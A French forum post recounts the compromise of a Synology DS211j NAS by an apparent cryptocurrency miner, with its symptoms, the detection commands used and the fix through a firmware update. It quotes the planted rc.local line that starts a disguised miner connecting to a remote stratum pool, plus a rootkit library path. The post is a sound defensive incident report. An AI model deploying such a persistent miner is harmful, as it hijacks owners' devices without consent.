Hello la zone,
J'ai expérimenté ce que je crois être un hack sur mon NAS DS211j que je viens de fixer (à priori) alors je me dit que mon retour d'experience sera toujours bon à prendre pour les possesseurs d'un NAS Synology
Avant toute chose, la version de mon DSM 4.3 était la dernière disponible via le système d'update du DSM (j’ai plus en tête le numéro de build mais il était de forme 4.3-37XX).
J'avais coché depuis longtemps les cases DSM > Panneau de configuration > Mise à jour du DSM "Rechercher et Télécharger les versions les plus récentes" et 'DSM le plus récent et toutes les mises à jour'.
Je pensait avoir appliqué les règles de base en sécurité
- password admin d’accès externe safe
- Sur le routeur, ne pas activer le DMZ sur l'adresse IP du NAS
- Et donc sur le routeur, créer les règles de redirection de ports uniquement pour les ports connus utilisés par le NAS ou les packages
- Ne pas laisser les ports par défaut notamment pour le ssh (port 22)
- Sécuriser l’accès externe au NAS avec le protocole https
- N’ouvrir que les ports nécessaires et désactiver les packages inutilisés
- Blocage automatique des adresses IP après x tentatives
- Vérification régulière des logs d’accès ou tentatives d’intrusion
- Vérification des droits des users externe
Tout à commencé en cherchant hier à supprimer un répertoire récalcitrant créé via le couple SABnzbd / SickBeard. Impossible de supprimer sous windows7 (ca m’arrive de temps en temps).
Je me connecte au NAS en ssh et je me balade dans les répertoires quand soudain je vois ce message à chaque execution d'un simple ‘ls -al’ : "ERROR: ld.so: object '/lolz/jynx2.so' from LD_PRELOAD cannot be preloaded: ignored."
Une rapide recherche google me fait arriver sur http://korben.info/synology-attention-grosse-faille-de-securite.html mais surtout sur ce blog anglais: http://blog.jandorsman.com/blog/synology-error-ldpreload-cannot-be-preloaded qui décrit quasiment les mêmes symptomes.
1/ Mon fichier /etc/rc.local fait également apparaitre ce genre de lignes à l’exception de l’adresse ip et du port
/var/run/httpd-log.pid -B -q -o stratum+tcp://46.249.51.176:3336
exit
2/ La commande ‘ps’ pour voir les process en cours ne fonctionne pas. Tiens c’est louche cà…
3/ Un netstat -an|grep XXXX (avec le port en question) ne me remonte rien de suspect
4/ La recherche des modifications récentes sur les dossiers importants
find /bin -type f -mtime -14
find /opt/bin -type f -mtime -14
find /etc -type f -mtime -14
find /usr -type f -mtime -14
find /var -type f -mtime -14
me remontent de plus en plus de trucs louches du genre un fichier script non-synology “S99p.sh�? sous “/usr/syno/etc/rc.d�?
Pas de doute, le synology a été hacké avec ce qui semble être un "bitcoin miner". J’ai pas vraiment envie de faire toutes les manipulations suivantes sur le coup d’autant plus que j’apprend ici http://www.pcinpact.com/news/85931-faille-securite-dsm-4-3-synology-confirme-et-annonce-hot-fix.htm que le hack est fixé depuis la version DSM 4.3-3810 Update 4
Je check la version de mon DSM et je vois que je suis bien sur la dernière version disponible via l’auto update mais antérieure à la 3810 (WTF).
Je regarde comment installer la bêta DSM5 (dont j’apprend l’existence quelques minutes avant) et je me rend compte que la DSM5 est officiellement disponible (et donc en fin de bêta) sur http://www.synology.com/en-global/support/download/DS211j et fièrement promue sur http://www.synology.com/fr-fr/dsm/index
WTF: Pourquoi le check DSM ne me permet pas d’installer la v5 ou au minimum une version 3810 qui contient le hot fix? Aucune idée (j’ai pas beaucoup cherché ce point à vrai dire).
Etape suivante, depuis http://www.synology.com/en-global/support/download/DS211j je telecharge un fichier .pat pour la v5 dans le but de faire une maj manuelle sachant que je n’ai jamais manipulé ce type de fichier? Après quelques clics (la doc en ligne est pas très claire), je trouve enfin le bon bouton dans le DSM update :-) et je lance la mise à jour.
Une fois terminé, je vérifie rapidement en ssh et tous les fichiers suspects ont bien disparus avec la nouvelle version. Victoire? L’avenir me le dira en tout cas, rien de suspect
Moralité:
- Je ne sais pas si j’ai vraiment contribué involontairement à une récupération de fragments de bitcoins via les ressources matérielles de mon NAS. Le hack a bien eu lieu mais je n’ai pas d’infos sur l’utilisation réelle qui en a été faite après.
- Penser à rediriger l’accès externe non ssl vers le ssl (j’utilisait bien l’accès https mais en ayant oublié de rediriger le http)
- Ne pas laisser les ports par défaut et ceci même pour le https par défaut:5001 visible depuis l'extérieur
- Ne pas faire confiance au moniteur de process natif (il est peut être haché)
- Faire une petite veille (passive) sur synology / hack du genre alerte mail ou rss
- Vérifier de temps en temps en ssh l’intégrité des données / dossiers
Vala ++